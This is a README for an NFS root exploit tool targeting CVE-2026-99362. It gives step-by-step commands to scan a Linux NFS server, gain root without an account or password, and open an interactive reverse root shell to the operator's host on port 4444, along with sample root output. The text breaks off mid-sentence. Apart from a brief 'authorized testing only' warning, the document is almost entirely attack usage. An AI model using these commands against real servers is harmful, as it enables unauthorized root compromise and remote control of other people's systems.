NFS2ROOT — CVE-2026-99362: NFS root exploit / privilege escalation PoC. Get root on a vulnerable Linux NFS server (port 2049) with no account and no password. Scan mode included. Python 3, no dependencies.
# NFS2ROOT — CVE-2026-99362
*NFS root exploit / privilege escalation proof-of-concept (PoC) — Python 3, no
dependencies, Linux, offsec / pentest lab use.*
`Python 3` · `no dependencies` · `Linux` · `tested on Debian 11`
A demonstration tool that takes **root** on a Linux file server vulnerable to
the NFS bug **CVE-2026-99362**, with no account and no password.
> [!WARNING]
> Authorized testing only. Exploitation can crash the target server: use a test
> machine, not production.
## Quick start
```sh
git clone https://github.com/Anhydrite/nfs2root && cd nfs2root
chmod +x nfs2root.py
./nfs2root.py <server> scan # vulnerable?
./nfs2root.py <server> --shell-host <your-ip> --shell-port 4444 # root shell
```
```
EXPLOIT COMPLETE
ROOT
uid=0(root) ...
```
A run takes a few seconds to a minute.
## Install
- Python 3 on your machine (standard library only — nothing to `pip install`);
- the server's **port 2049** reachable;
- an NFS export on the server, default `/srv/nfs/shared`. The default path
writes into it; see [read-only export](#troubleshooting) if it is read-only.
## Usage
### Interactive root shell
```sh
./nfs2root.py <server> --shell-host <your-ip> --shell-port 4444
```
Replace `<server>` with the target address and `<your-ip>` with an address the
target can reach. The shell opens directly in your terminal: you do not need
`nc`, and you should not start anything yourself on port 4444.
### Root proof (no shell)
```sh
./nfs2root.py <server>
```
Prints the `EXPLOIT COMPLETE / ROOT` banner with `uid=0(root)`.
### Check whether the server is vulnerable
```sh
./nfs2root.py <server> scan
```
Only checks the server without attempting to get root. Always start here.
### A different export directory
```sh
./nfs2root.py <server> --export /path/on/the/server
```
This is the path **as the server sees it** (for example `/export/nfs`), not
where you mounted it locally. The tool drops its helper there and reads the
proof b